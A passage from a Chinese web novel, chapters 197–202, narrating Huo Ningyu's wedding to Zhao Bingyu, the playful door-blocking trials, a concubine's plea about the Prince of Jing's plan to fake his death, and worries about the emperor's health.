前世的钟离洛是辰王手里的一把刀,现在是皇上手里的能臣,也是东宫的势力,这是毋庸置疑的事实。
“哈哈,好好好,以后就是一家人。老身没什么好东西,这个就当见面礼。”钟离老夫人从丫鬟手里接过一个锦盒,递给霍凝玉。
长者赐,不可辞。
霍凝玉大方接过:“谢过老夫人。”
“不谢不谢。”
“霍夫人,洛儿说,他已经准备了一些聘礼,老身也带了些,你是媒人,十月初八那日还请你过府与我们一道去容家下聘。”钟离老夫人又坐回客位,继续刚才的话题。
“老夫人放心,我到时准时到。”
十月初八那日,霍凝玉也去了容家,看到表妹那红扑扑的小脸,就知道她心里甜如蜜。
只是刚回到府里就听到一个消息。
大公主赵明月经过一天一夜的努力,顺利生下一个儿子。
霍凝玉心里想的就有些多了,大公主有了儿子,她还会像现在这样生活吗?
那儿子是谁的,京里知道的人可不少。
很多事都与前世不一样了,未来会如何,她不知道。
时间很快到了腊月初八。
霍凝玉与赵炳煜大婚的日子。
这一日,整个京城都充满喜气。
因为这个日子是今年最好的黄道吉日,很多人家都选在这一日成亲。
赵炳煜把自己的府邸早就收拾得焕然一新。
全府上下一片红,喜庆得晃花人眼。
钟离洛特意带了京畿营的兄弟们来凑热闹,谁让永安王府只有一个主子,人丁不旺。
两人的关系自那次一起去西凉后,变得很亲近。其实是钟离洛特别亲近赵炳煜。
这份情义,赵炳煜收得理所当然。
他知道钟离洛什么目的,以后进出他的永安王府,可以随心所欲。
钟离洛今日还有一项重要任务,也是他自己求来的,他不放心让别人来做此事。
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第197章 迎亲
那就是抬花轿。
他手里的人,都是营里的精兵,个个身体矫健,抬花轿绝对抬得稳稳当当的,不让新娘子受半点颠簸。
时辰到,赵炳煜一身大红新郎装,带着迎亲队伍从永安王府出发。
大红花轿十六抬,个个都是身强体壮的年轻壮汉。
钟离洛甘愿穿上一身短衫做轿夫,且是领头的轿夫。
一路吹吹打打,好不热闹。
多少大姑娘小媳妇站在路边看俊美无双的新郎官从她们面前经过。
“昭勇郡主能嫁这样的夫君,真让人羡慕。我要是有这么好的出身就好了。”有个十几岁的小姑娘双眼放光,几乎是嫉妒了。
“就你?还是下辈子吧。投胎的时候看好了才投。”一个大娘鄙夷地嗤笑。
“你们以为昭勇郡主是高嫁吗?
我告诉你们,要我说,这永安王才是修了八辈子福娶到昭勇郡主。
永安王虽靠立了大功得封亲王,那也是因为他是靖王府的世子,皇上才这么宠他。
而我们的昭勇郡主可是靠自己的能力,立功多次,一步步从一个官家小姐被封为乡君,再到县主,最后升到郡主。
没有身份优势能走到这一步,那才是真本事。所以永安王才是捡了大便宜。”一个比较关心时事的中年男子由衷地感慨。
“说得好,赏!”正好赵炳煜走到此人旁边,把话听了个真切。
跟随的小厮立刻拿出一锭银子扔给了那中年男子。
有了先例,一路上,更多人说昭勇郡主的好话,赵炳煜早就安排小厮抬了两筐铜钱,哪里的喊声高,就往哪里撒。
百姓们争先恐后地捡钱,满街的吉祥话就没断过。
百年好合,早生贵子,夫妻恩爱,儿孙满堂......
赵炳煜喜气洋洋的笑脸怎么都收不住。
他长这么大,从没笑这么久过,或者说从没这样笑过,脸都笑僵了,也舍得不压下。
而这都是因为他遇到了霍凝玉。
换作一年多前,根本不可能见到他笑得如此傻气。
真真应了那句:人逢喜事精神爽。
而霍府里,霍凝玉早早就被叫起来梳妆。
没想到琉璃来得更早。
“小姐,今日让奴婢伺候您出嫁。”琉璃恭恭敬敬地端着一盆水站在旁边。
“你现在可不是奴婢,以后我们是朋友。”霍凝玉微笑道。
“小姐,奴婢再做你一日的丫鬟。奴婢得遇小姐,是奴婢这辈子最大的幸事。如果没有你,我们父女的冤屈恐怕到死都得不到大白于天下的机会。
是你让我们父女的命运迎来转机。
你是我们父女最大的恩人。”琉璃发自肺腑的真心话,真诚而郑重。
“自那日平冤后,奴婢还做了一个梦。梦里,奴婢进了吏部侍郎府,蛰伏了几年。奴婢故意勾引黎彦成就好事,然后奴婢趁机杀了他。”琉璃又道。
霍凝玉听后,暗自点头,果然如她猜测,琉璃就是用那般极端的方式要了黎彦的命。
“不用再想过去,以后好好过日子。你爹现在怎么样了?”
“皇太孙殿下派来的太医真是好本事,经过两个月的治疗,我爹真的能发出声音了。
太医说,照此下去,最多再过两个月,我爹就能说话了。不过声音与正常人不一样,可能会很沙哑。”琉璃说起这个,高兴得眉眼弯弯。
只要能说话,总比哑巴好。
太孙殿下说了,只要她爹能说话,就请他去东宫做先生。
这样的荣耀,他们做梦都没想到。
以后他们父女的日子定会越过越好。
“那真是恭喜李叔了。”霍凝玉替他们高兴。
琉璃如往常一样伺候霍凝玉穿衣洗漱。
珍珠,玛瑙和翡翠三人打下手。
她刚洗漱好,万青黛和顾佳倩就来了。
“凝玉,我们来陪你了。”顾佳倩咋咋呼呼小跑进来。
“来得这么早?”霍凝玉看了看外面的天。
“你出嫁,我们是你最好的朋友,当然要来早点了。我们还要拦门呢。你可不能心疼哦。”顾佳倩早就约好了闺中好友,一会儿一起为难永安王。
可不能让他太容易娶到凝玉。太容易得到的东西不知道珍惜。
“调皮。小心他不顾你们是姑娘家,直接翻墙进来,吓你们一跳。”霍凝玉笑道。
“咦,还别说,不行我要先准备好,在院墙下放几桶水,他要敢跳,看不湿了他的新郎装。”顾佳倩可不怕赵炳煜。
要是她知道赵炳煜就是赵壑,她肯定不敢。
“霍姐姐,我也找了几个伙伴来拦门。”这时赵凌哲的声音在门口响起。
小就是好,可以不顾男女有别,直接进了霍凝玉的闺房。
“你都找了哪些人?”霍凝玉好奇。
他一个孩子,肯定找的都是孩子,能拦得住赵炳煜才怪。
“嘿嘿,我找了万家哥哥,容家哥哥,霍二哥哥,还有我外祖家的两个表哥,就连榜眼公鲁谦昀也愿意参与。
要是钟离洛在就好了,可以直接和永安王比试比试,我找的都是文人,没有武将。
本小章还未完,请点击下一页继续阅读后面精彩内容!不行,我还得再找几个武将。”赵凌哲纠结苦恼。
“哈哈,太孙殿下,永安王今天肯定不敢动武,就用诗词拦住他。
这叫秀才遇到兵,有理说不清,兵被秀才绕,晕头又转向。
到时永安王肯定不知道如何应对,让他出丑。”顾佳倩拍手叫好。
两人一拍即合,出去找人。
万青黛反而文静地留在房里陪着霍凝玉,看着全富夫人给她梳妆。
全福夫人正是容家大夫人,儿女双全,公婆俱在。
打下手的是容琳媛。
“一梳梳到尾,举案又齐眉;二梳梳到尾,比翼又双飞;三梳梳到尾,白首不分离......”容大夫人一边梳一边念念有词。
梳好了头,又开脸,再上妆。
“哇,凝玉真漂亮,而且看着特别有福气。容伯母的手真是巧。”万青黛夸赞道。
“我们凝玉本就是美人胚子,再一梳妆,锦上添花,美上加美。”容大夫人左右端详,很满意自己的杰作。
“是大舅母的手艺好。京里好些人家嫁女都请大舅母去做全福夫人,我也跟着有福了。”霍凝玉微笑着照了照了镜子。
前世的记忆已经久远。
如今的她是为赵炳煜对镜梳妆。
来娶她的人是赵炳煜。
脸上的笑越来越盛,越来越灿烂。
而就是这时,外面传来震天响的鞭炮声。
“来了来了,新郎来了。”顾佳倩匆匆跑进来,“凝玉,你可得稳住,看我们怎么为难永安王,让他知道妻可不是那么好娶的,他才知道珍惜。”
她的话让房里几人都忍俊不禁。
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第198章 过了一关又一关
这一日,霍家高朋满座。
容华芝作为当家主母,自是忙得脚不沾地。
萧婉仪哪怕怀着身孕也忙前忙后。
霍家父子三人在大门外迎客。
当看到远远走来的迎亲队伍时,霍家父子立刻让人点燃鞭炮。
霍鸣羡和霍鸣昶兄弟俩对视一眼,匆匆进了二门。
几个表兄弟,还有堂兄弟都在此处准备拦第一道门。
赵炳煜到了大门前,跳下马,向霍鹏程深深一鞠躬:“小婿拜见岳父大人,今日小婿带着大红花轿来迎凝玉归家。”
“不必多礼,今日过后,我们就是真正的一家人了。”霍鹏程今日是真高兴。
虽是嫁女,但他并没有表现出女人那种对女儿的不舍,也未陷入情感的纠结中,反而为女儿找到真正疼惜她的伴侣而欣慰。
可刚到二门处,门被人从里面砰的一声关上。
里头传来容廉晟带笑的声音:“永安王,想接新娘子可没那么容易,咱们霍容两家儿郎今日可都在这儿等着呢。”
赵炳煜身后的迎亲队伍顿时安静下来。
今日赵炳煜为了壮声势,把几位皇子都带着呢。
就连最不想来的辰王也在其中,只独缺了太子。
赵炳煜从容一笑,拱手道:“诸位兄弟有何指教,炳煜定当奉陪。”
门内,霍鸣羡高声道:“我们也不为难你。第一关,请王爷以‘玉’字为题,即兴赋诗一首,既要夸赞我家妹妹,又要表明你的诚意。”
赵炳煜表情一滞。
“哈哈,状元公出题,看他能不能过关。”赵凌哲的笑声从里面传出。
赵炳煜心里暗骂,这家伙居然去充当娘家人。
他们才是一家的,好不好。
“炳煜,行不行?要不要弟弟帮你一把?”五皇子调笑。
五皇子爱文,在作诗一道颇有心得,想趁此机会表现一番,让状元公品鉴品鉴。
“不用,本王又不是没读过书。”赵炳煜自信满满。
略一思索,朗声吟道:
“琼楼玉宇非所愿,唯慕霍家有明珠。
冰心玉质世无双,愿以真心护此生。
今朝喜迎凝玉归,白首不相负此盟。”
此诗一出,门内门外都突然一静。
每句里都有一个玉字,很应景。
好直接的表白啊,果然只是读过书,而不是深谙此道。
门内只静了一瞬,随即霍鸣昶笑道:“好个‘白首不相负’,看在你情真意切的份上,这一关算你过了。第二关,请接招。”
大门打开,但被一众男儿挡住不给过。
霍鸣昶拍了拍手,几个小厮抬上一张桌子,上面摆着十几个用红纸封住的酒盏。
“这是我霍家特制的‘五味同心酒’,酸甜苦辣咸,人生百味,寓意你愿与我大姐同甘共苦。请姐夫盲选一杯,饮尽为止。”
霍鸣昶的话音一落,围观的宾客们都笑得合不拢嘴。
“还是年轻人会玩。”刑部尚书曹达摸着胡须笑道。
赵炳煜面不改色,随手端起一杯,揭开红纸,把整杯“酒”倒进嘴里。
一股混合着醋、糖、黄连汁、姜汁和盐的古怪味道在口中炸开。
那味道,此生仅此一次品尝。真是难得的体验。
他面皮抽动了一下,却硬是保持着风度咽了下去,亮出杯底:“各位舅兄,此心可鉴否?”
众人见他如此爽快,齐声喝彩:“好,过关。”
话音未落,二门上方的墙头忽然冒出几个少年郎,手持竹弓,对着门外射出一阵“箭雨”。仔细一看,却是用红绸包裹的糯米团子。
赵炳煜不闪不避,笑着接住几个,分给身后众人:“多谢诸位兄弟赐福!”
“好胆识。”容家二表哥容廉晖在门内赞道,“最后一关,请王爷回答:若他日凝玉表妹与你起了争执,你当如何?”
赵炳煜正色道:“凝玉知书达理,断不会无故与我起争执。若真有误会,我自让着她,让她出出气。
有句话说得好,夫妻吵架是常事,但却是床头吵架床尾和,反而感情更深厚。”
“说得好。”
以霍家兄弟为首的年轻儿郎们分列两侧,含笑让路。
“王爷请。”霍鸣羡虽笑着,眼中却有一丝不舍,“望你牢记今日所言。”
赵炳煜郑重颔首,领着众人穿过二门,直奔内院。
不料内院月洞门前,又是一道阵仗。
以顾佳倩为首的几位闺秀一字排开,个个笑靥如花,眼神却透着狡黠。
“王爷留步。”顾佳倩福了一礼,“咱们姐妹与凝玉情同手足。今日若要从此过,还需过了我们这关。”
赵炳煜面对小姐们,和刚才完全不同,表现得温文尔雅:“请诸位小姐出题。”
顾佳倩狡黠笑道:“凝玉平日最常弹奏哪首曲子?最爱用什么香?生辰是何日?”
“凝玉最爱弹的曲子是《寒梅傲骨》,常用梅香,生辰是正月二十五,梅花最盛之时。”赵炳煜对答如流。
众女闻言,纷纷露出满意之色。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!容琳媛也大着胆子问道:“请王爷当着众人之面,说说你最喜欢表姐什么?”
赵炳煜望向内院深处,目光温柔。
“喜欢她的全部。
赏梅时的专注,抚琴时的优雅,谈论诗书时的慧心,待人的真诚善良。都在我脑中留下深刻的印象。
在我心中,凝玉便是这世间独一无二的明珠。”
闺秀们听了连连点头。
没想到永安王这么会说情话,和她们想象中的形象差得好远。
闺秀们感觉很温暖,这样的男人才是女子的良配。
“永安王太会说话了,让我们一个个都感动的,都想嫁给你了。”顾佳倩调皮笑道。
“多谢小姐们垂青,但本王心里只能住下一人。”赵炳煜又是一句情话自然说出。
让姑娘们发出一声声尖叫。
“哇,太感人了。”
“最后一题,请王爷学一声猫叫,凝玉最爱她养的那只猫了。”万青黛也大胆了一回,敢如此问一品亲王。
这要求一出,连赵炳煜身后的迎亲队伍都哄笑起来。
“炳煜,昭勇郡主可是给父皇挡过毒的,你就给她做一回宠物又何妨。”辰王笑得玩味。
难得看赵炳煜出丑,当然不能让他想办法躲过去。
赵炳煜俊脸微红。
这要求是不是有点太小孩子玩过家家了?
这是把他当凝玉的宠物吗?
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第199章 终于嫁人了
但为了娶得美人归,也豁出去了,他清了清嗓子,竟真的惟妙惟肖地学了一声。
“喵......”
声音清朗,带着几分讨好,且声音还特别大,故意让闺房里的霍凝玉听到。
“噗!”闺秀们笑倒一片。
“姐妹们,王爷这么有诚意,那就让他过关吧。”顾佳倩笑得最欢。
她开心的模样落入万青鸿的眼里,让他心湖一荡,这么可爱的姑娘,他以前怎么没发现。
姑娘们终于心满意足地让开。
赵炳煜快步穿过月洞门。
后面跟着的几位赵家子弟向每位姑娘发了一个大大的红包。
“喂,这不公平吧,为什么我们男子没有?”万青鸿大叫不公。
“探花郎,你想要啊?”五皇子好笑道。
“那当然。”
“可惜你刚才没说,过了这个村就没那个店了。”五皇子眉毛一抬,笑得很欠揍。
“哎,失算啊。”万青鸿捧心,后悔晚矣。
他的搞笑让顾佳倩多看了他两眼。
这人这么会说笑,真好玩。
赵炳煜走进霍家主院正堂。
霍鸣羡已经背出霍凝玉在此等着。
霍凝玉一身大红嫁衣,头顶喜帕,在萧婉仪的搀扶下静静而立。
虽看不见面容,但那窈窕身姿已让赵炳煜心潮澎湃。
霍鹏程和容华芝已正襟坐于主位。
“小婿拜见岳父岳母。”赵炳煜恭敬一礼。
“快快免礼。”容华芝眼眶微红。
萧婉仪扶着霍凝玉跪到父母面前。
“女儿拜别父亲母亲。”霍凝玉深深叩了下去。
她就要嫁人了,就要离开疼她宠她的父母兄弟了。
心里的不舍漫上心头,眼泪不自觉滴落地上。
看到那滴眼泪,容华芝的眼睛再也受不住,也跟着落下泪来。
她的女儿,今日过后就是别人家的人了。
她好舍不得。
“好了,孩子大喜的日子,又离得不远。”霍鹏程安慰道,“她就算出嫁,也随时可以回来。”
容华芝擦了擦眼睛,收住泪,扶起女儿。
将女儿的手交到赵炳煜手中:“炳煜,今日我将凝玉交给你。望你日后真心待她,夫妻和睦,白首同心。”
“岳母放心,凝玉是我心里最珍视的宝,自当尊之重之。”
萧婉仪也拭了拭眼角:“别误了吉时。”
赵炳煜郑重接过霍凝玉的手,柔声道:“凝玉,我来接你了。”
喜帕下的霍凝玉轻轻点头,纤手在他掌心微微一动,似在回应。
“大哥,这节路我来背大姐。”霍鸣昶抢着蹲到霍凝玉面前。
不能让大哥一个人专美。
在众人的欢呼和祝福声中,霍鸣昶背起大姐,稳稳地出了霍家大门。
赵炳煜小心翼翼地将新娘子扶上花轿。
翻身上马时,他回头望向霍府门前目送的霍家人,在马上深深一揖。
霍鹏程挥挥手,容华芝倚在丈夫身侧拭泪,霍家兄弟与容家表兄弟们站在一处,既有不舍,也有祝福。
“起轿!”礼官高唱。
鞭炮再次震天响起,迎亲队伍浩浩荡荡起程。
红妆十里,喜乐喧天。
“哇,昭勇郡主的嫁妆怎么这么丰厚?居然全是双抬并行。”有百姓惊叫出声。
当所有嫁妆都抬出霍府时,整整一条街,全是红绸所系的担子。
有好事的百姓认真数了一下。
“我的乖乖,一百九十六抬,双抬并行,实际翻倍。
霍家这不得把家底掏空啊?该不会是挪用东临公主的嫁妆吧?”
“瞎说什么?霍家怎么可能挪用儿媳妇的嫁妆?”有人反驳。
但霍家给女儿准备了无与伦比的嫁妆,此事深入人心。
让京城的百姓津津乐道,同时也让京里的勋贵和官家也为之震惊。
霍家哪里来的那么多钱?
赵炳煜踩着吉时回到王府。
乾德帝和皇后早已等在王府,就连靖王也等在此处。
喜媒扶着新娘下轿,几个丫鬟想上前扶人,被赵炳煜一挡。
他亲自牵着新娘跨火盆。
霍凝玉规规矩矩按正常程序一步步向前走。
“皇上,皇后娘娘,靖王爷,请就座。”礼部尚书桑泽辉看到新人就要进来,立刻让三个站着翘首以盼的人坐下。
“吉时到,新人拜堂。”桑泽辉一声高喊。
“慢着。”赵炳煜抬手。
众人不明所以。
可看着赵炳煜锐利的眼神,都静等他要做什么。
“杜管家,请出本王的母妃。”
管家匆匆离去,很快手捧一个擦得干干净净的灵牌出来,放到主位上。
赵炳煜早就让王府管事去靖王府把自己母妃的灵位请到了永安王府。
他娶妻,怎么能不告慰生母?
乾德帝看到灵牌上的字,暗自点头。
是个孝顺的好孩子。
可靖王心里就有些不是滋味了。
要不是看到灵牌的名字,他都忘了自己二十多年前娶的王妃叫什么名字。
他更是忘了她长什么样,只记得一双总是期盼的眼神,后来那份期盼也不见了。
本小章还未完,请点击下一页继续阅读后面精彩内容!可是后悔已经没用,伤害已经造成。
赵炳煜又上前把牌位放得更正一些。
桑泽辉见准备好,又扯开嗓子高喊:“新人拜堂,一拜天地!”
赵炳煜带着霍凝玉郑重拜下。
“二拜高堂。”赵炳煜正对着他母妃的牌位,而霍凝玉正好对着乾德帝。
靖王失落,却没人在意。
“夫妻对拜!”
两人面向而拜,完成了人生最郑重的三拜九叩。
从此他们就是荣辱与共的夫妻。
“礼成,送入洞房。”
赵炳煜领着去早就准备好的新房。
新房里,太子妃和最小的两位公主等在这里,准备陪新娘。
喜媒伺候着两人把后面的程序完成。
喝合卺酒,结发,坐床等。
“王爷,王妃,祝你们二人白头偕老,早生贵子。”喜媒乐呵呵地说道,然后退了出去。
“炳煜,你快去招待宾客,这里我和两位妹妹陪着。你不要喝多了。”太子妃笑着把人推出洞房。
“三嫂,我不去,我已经请峥王和嵘王帮我招待宾客。”赵炳煜不想出去。
他的话让太子妃,四公主和五公主轻笑出声。
“炳煜,现在天还没黑,你就这么着急洞房?”太子妃取笑道。
“王爷,你还是出去露个脸,别招人笑话。”霍凝玉被赵炳煜的表现给羞得脸蛋发烫。
王妃发话,赵炳煜不得不听,不情不愿地出去。
“等我。”
这一夜,夫妻二人自是尽享人伦之乐,且乐此不疲,尤其赵炳煜。
二十四岁的年纪才初尝人事。别人家的男儿这个年纪早就是孩子他爹了。
他才刚刚开始造人。
霍凝玉要不是这一年来经常练习甩鞭,真有可能晕过去。
翌日一早,两人不急着进宫谢恩,而是睡到自然醒。
只是刚一醒,就有丫鬟在门外说,靖王府的陈姨娘求见。
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第200章 姨娘来闹
“她来做什么?”一听到陈姨娘,赵炳煜的脸色瞬间难看起来。
“怎么了?”霍凝玉见他脸色不对,问道。
“没什么,要不要再睡会儿?”赵炳煜眼含心疼。
昨晚他实在忍不住。
霍凝玉粉面桃腮,引得他又想再来一次,但看到妻子脖颈上的红印,他又生生压住冲动。
刚开荤的男人,如脱缰的野马。
“不睡了,肚子有些饿。”霍凝玉羞涩道。
两人起床,洗漱一番。
珍珠和玛瑙进来给霍凝玉梳妆,看到小姐脖子上的痕迹,都当没看到。
夫人早就和她们两人交代过,如何伺候成了亲的主子,和在闺中时不一样。
哪些话能说哪些话不能说,两个贴身丫鬟都清楚。
赵炳煜亲自拿了一件厚厚的外衫给霍凝玉罩在外面。
走出内室,就听到外面一个女人在与管事嬷嬷纠缠的声音。
“陈姨娘,主子刚刚大婚,不会见你的,你还是回去吧。”
“不,我今日一定要见到世子,他不能这么无情啊。”
霍凝玉听得莫名其妙,夫君怎么就无情了?
“夫君,你做了什么?”霍凝玉疑惑。
“我什么也没做,不用理她。”赵炳煜牵起霍凝玉的手,准备去偏厅用迟了的早膳。
可是他们刚到门口,外面的吵闹声更大了。
“你个刁奴,居然敢对我动手,你是不想活了吗?”
“陈姨娘,老奴说了,王爷不会见你,老奴不过是拉你出去,可没打你。”
霍凝玉已经知道外面是什么人。
“夫君,要不还是见见吧。她毕竟是父亲的房里人,定是有什么要事。”霍凝玉知道赵炳煜表面不近人情,实际他的心最柔软。
不然这么多年父子不和,他也没对靖王怎么样。
“你想见见?”
“你是男子,以前或许她不敢找你,现在你有了我,她可能想见的人是我,女人之间更好沟通些。”霍凝玉想为他处理好父子之间的关系。
“我们成亲之前,父王来找过我,他想让我回靖王府,我没答应。”赵炳煜解释道。
“那你是怎么想的?”
“我不会回靖王府,我现在已是永安王,不稀罕靖王府的家业。”赵炳煜说得很自豪。
他凭一己之力,就被封了一品亲王,不像他的父王,一生困在情爱没得到满足的痛苦里,什么成就都没有。
要不是父王和皇伯父是一母同胞,皇伯父早就把他赶到封地去了。
“好,我知道你的意思了。让她进来吧。”霍凝玉心里已经有数。
珍珠出去,没一会儿带两个妇人进来。
“王爷,是老奴没用,扰了您和王妃的清静。”一个四十多岁的嬷嬷惭愧道。
“凝玉,这是我的奶嬷嬷,姓卫,自我母妃去世后,一直是她照顾我的生活。咱们现在住的主院就是她在帮我打理,以后就让她跟在你身边伺候,有什么不知道的就问她。”
赵炳煜介绍道。
“卫嬷嬷好。”霍凝玉主动先打招呼。
难怪母亲没给她安排管事嬷嬷,原来母亲知道夫君身边有这样一个得力的人。
母亲应该调查过卫嬷嬷。
两虎相争,必有一伤。
“王妃客气,老奴自王爷出生就伺候在王爷身边,现在王爷终于有了枕边人,老奴高兴了一宿。”卫嬷嬷蹲身见礼,脸上的笑容十分真诚。
“世子,妾身求求你,放过你父王吧?他不能死啊。”陈嫣然不顾体面,直接跪到两人面前。
“什么意思?”赵炳煜没听明白。
“世子,王爷他......”陈嫣然看到厅里还有好几个伺候的下人,说到一半又顿住。
她要说的事,不能传出去。
霍凝玉看出她的目的,让几个丫鬟退到门外去。
“说吧,父王他怎么了?”霍凝玉也好奇她说的死是什么意思。
“世子,世子妃,王爷他......他,他要‘暴毙’离京。”说完,陈嫣然伤心地哭泣起来。
赵炳煜夫妻面面相觑,同时又皱起眉头。
父王想做什么?
暴毙又离京,说明不是真死,而是假死。
霍凝玉脑子转得飞快。
好日子不过,要假死离京。
“你可知父王为何要如此做?”霍凝玉问道。
“他想,他想给妾身正妻的身份。”陈嫣然嗫嚅着说出实情。
夫妻俩一听就懂了。
父王是王爷,这个身份不可能给她正妻之位,那么假死离京后,以一个平民百姓的身份就能给她正妻之位了,也不会有人管他了。
霍凝玉此时在心里给靖王竖起了大拇指。
这是对陈姨娘有多真情实意啊,连身份都可以不要。这样的情义让她敬重。
“陈姨娘,对你来讲,这是大好事啊,你为何还要来求我们放过父王?”霍凝玉挑了挑眉。
只一瞬,她就明白陈姨娘什么意思了。
“不,王爷不能离开王府,我们一辈子都没离开过京城。
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看在妾身为皇家生了四个孩子的份上,求世子和世子妃回去劝劝王爷。
他都四十多岁的人了,哪里受得了农人的劳作之苦?”陈嫣然哭求道。
“你是说父王只带着你一人,什么也不带?”霍凝玉惊讶。
“世子妃,王爷是这么说的。都一把年纪了,哪里学得会种地?”
夫妻俩相视一眼,赵炳煜的眼里明显有鄙夷。
“哦,既然父王想与你过田园生活,想给你正妻之位,你应该高兴才对。”霍凝玉也带着鄙夷。
“我明白了,是你不想跟着父王走,你舍不得京城的荣华富贵。
你不是与父王情比金坚吗?怎么?同富贵可以,共患难不行?”
“不是。王爷四体不勤,靠种地根本养不活我们两人。”陈嫣然想到那种生活就怕得身子发抖。
她可是千金小姐出身,一辈子从没吃过苦,她怎么可以过那种日子。
“人不是生而知之,而是学而知之,什么都可以学。父王可是皇子,什么学不会?
难道你不会做衣服,不会做饭,不会洗衣?天下多少百姓人家的女儿都会做这些活,难道你就不可以?”霍凝玉已经看得分明。
原来父王与陈姨娘之间的感情竟然如此不堪一击。
此时她生出无限同情自己的婆母。
居然被这样一个女人比下去。
父王被人蒙蔽了双眼啊。
“妾身,妾身......”陈嫣然被说得无地自容。
可她不能跟王爷走,她有四个孩子,三个儿子,一个女儿,她可以享福,为何要去自找苦吃。
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第201章 终于活明白了
“陈姨娘,既然父王有此打算,我们做儿子儿媳的自然要支持,不然又会被父王骂不孝。
你还是回去吧,好好与父王过日子。俗话说,嫁鸡随鸡,嫁狗随狗,父王才是你终身的依靠。”霍凝玉说到最后,语气变得冰冷。
“谁让你来永安王府的?”这时靖王的声音在门口响起。
当他得知陈嫣然来了永安王府,他就知道她什么目的,也跟着来了,准备把人带走。
“见过父王。”霍凝玉作为儿媳妇,主动一礼。
靖王只是扫了她一眼,就看向赵炳煜。可惜儿子连个眼神都不给他。
靖王对他的冷脸已经习以为常,不过还是从怀里掏出一个盒子来,递给霍凝玉。
“这是父王给你的见面礼。”
霍凝玉没想到他还会给她礼物,她还没向他敬茶呢。
她不知道该不该收,看向赵炳煜。
赵炳煜不做任何表示。
靖王见儿媳不敢接,直接放到旁边的桌子上,拧起陈嫣然就出了正厅。
不给霍凝玉拒绝的机会。
霍凝玉看着陈姨娘被拖得毫无形象,时不时挣扎,还不停地叫喊。
“王爷,你为什么要这么对我?我们好好的日子不过,你何苦作贱自己,也作贱妾身。”
“噗嗤!”霍凝玉看得发笑,拿起桌上的盒子,打开。
“咦?”
霍凝玉以为是首饰之类的,结果却是一张张纸。
拿起来翻看。
“夫君,是地契和房契。”
赵炳煜接过,也翻看了一轮。
“这是靖王府的大部分产业。”他也被惊了一下。
“看来父王是真打算离京了,把靖王府的重要产业都给了你。
不对,是给我。
他知道你肯定不会收,特意作为见面礼送给我。”霍凝玉已经明白靖王是铁了心要离京了。
“既然他给了你,就是你的,那几个庶子还没资格要这些东西。”赵炳煜说得理所当然,谁让父王寒了他母妃的心,这是对孙儿的补偿。
他可以不要,但他的孩子可以要。
赵炳煜想得很远,就当凝玉替他们的孩子收下的。
“你不担心父王以后真的连饭都没得吃?”霍凝玉不相信他如此铁石心肠。
“那是他自己的选择,与我何干?走,吃饭去。”赵炳煜不想多谈。
霍凝玉让玛瑙把盒子收好,等她空了,再去看看那些产业都是些什么,以后好留给自己的孩子们。
饭后,两人进宫向帝后谢恩。
乾德帝见两人恩爱的样子,老怀大慰。
“媳妇娶到心坎上了?”乾德帝调笑道。
“是。”赵炳煜大方承认。
霍凝玉听得脸红。
“皇伯父,今早父王到府上来把大部分产业都送给了侄媳,陈姨娘说他要暴毙离京,这事您知道吗?”霍凝玉试探着问道。
一国亲王,还是皇帝的同母弟弟,他要做如此举动,应该没那么容易。
乾德帝微笑的脸色慢慢淡了下来。
“你父王混了这么多年,终于活明白了。
他是发现陈氏不是真心爱他,而是利用他。
当年你父王是她摆脱卖入青楼的唯一稻草。她想尽办法抓住,而她也真的抓住了。
可她不满足,还想要王妃之位,朕怎么可能答应。
她知道无望,才老实下来。拼命生孩子,想用孩子来稳固地位。
你父王只看到她温柔贤惠的一面,没看到她攀权附贵的本性。
这次你们成亲,炳煜无意的一句话点醒了他。他回府试探陈氏,才终于明白,这些年他的真心都错付了。
所以他才有如此打算,让陈氏与他去过苦日子。也是争得朕的同意的。过了年他就走。
这些日子,你们最好还是回一趟靖王府,接管王府。那几个庶子,你父王已经安排好,不会让他们住在靖王府里。”
夫妻俩没想到这事乾德帝这么清楚。
赵炳煜心里五味杂陈。
其实自从遇到霍凝玉,他已对父亲没有太大渴望。
他已经找到自己最想要的亲情。他已经不需要得到父王的认可。
现在他更没什么想法。
从昨日开始,他有了妻子,有了自己的家。
有没有父亲,他已无所谓。
夫妻俩在宫里待到下午才回永安王府。
时间很快到新年,太子的身体越来越差,已不能参加宫宴,太子妃要照顾太子也没来。
赵凌哲一个人带着侍从来的。
他已经七岁多,走在宫道上,遇到进宫的官员家眷都面不改色地受了他们的礼。
当看到霍凝玉时,他的脸上才有了笑模样。
“霍姐姐。”
“怎么叫的?现在你要叫皇婶。”赵炳煜纠正。
“不,我就叫姐姐。”赵凌哲很坚持。
“想叫什么就叫什么。我还喜欢做姐姐,叫婶婶都把人叫老了。”霍凝玉很受用,“不过在正式场合你还是注意些,不要落人话柄。”
“嗯,我知道。”赵凌哲很自然地牵住霍凝玉的手。
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宫宴一如既往的热闹。但乾德帝的精神却已不如一年前。
他已经五十三岁,每日国事操劳,费尽心神。
可皇太孙才七岁半,他还能坚持多久,现在霍凝玉也说不清了。
按魂飘时看到的,还有一年多点,但到后期,他已很少上朝,需卧床养病。
那段时间,朝中局势动荡不安。
辰王和霁王斗得不可开交,赵炳煜尽力稳住时局,直到最后辰王胜出。
宫宴进行到一半,乾德帝居然在龙椅上打起了瞌睡。
不对,霍凝玉明显感觉不对。
回到王府,霍凝玉就把自己的疑惑问了出来:“夫君,皇伯父的精神怎么这么快就萎靡了不少?”
“你说明年有天灾,可能他太过担心此事。”赵炳煜已经与乾德帝为此事商量过多次。
私下已经在向东临购粮,可旱灾,不单是缺粮,人和牲口的饮水也是一个大问题。
“皇伯父常年操心国事,这些年大小天灾不知凡几,不可能因为这个事就能让他的精神如此不济。”霍凝玉有一个隐隐的担忧。
“你想说什么?”赵炳煜已懂了霍凝玉的意思。
“皇伯父有没有每日请平安脉?”
“倒没到每日都请的地步。只要没有明显的身体不适,太医院每半月会派太医请一次脉。”
“每次都是同一个太医吗?”
“固定两个人,一个是吴太医,一个是蒋院正。”赵炳煜对乾德帝的身体也是很关注的。
霍凝玉皱了皱眉。
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第202章 有孕
“这样,大嫂从东临带来的洪大夫医术不错,太子就是在他的治疗下到现在还活着,我们抽个时间悄悄让洪大夫给皇伯父看看。”霍凝玉建议道。
“好。我这就去安排。”赵炳煜也相信洪大夫的医术,但不能明着给皇伯父看诊,万一是有人搞鬼,就打草惊蛇了。
过年期间,皇帝封印,难得放松几日。
各家各户宴请亲朋好友。
今年初二,霍家有女儿回门,容华芝就没回娘家,而是准备了一桌好饭菜,等着女儿女婿回来。
女儿从来没有离开她身边这么久过,每日都盼着初二快点到。
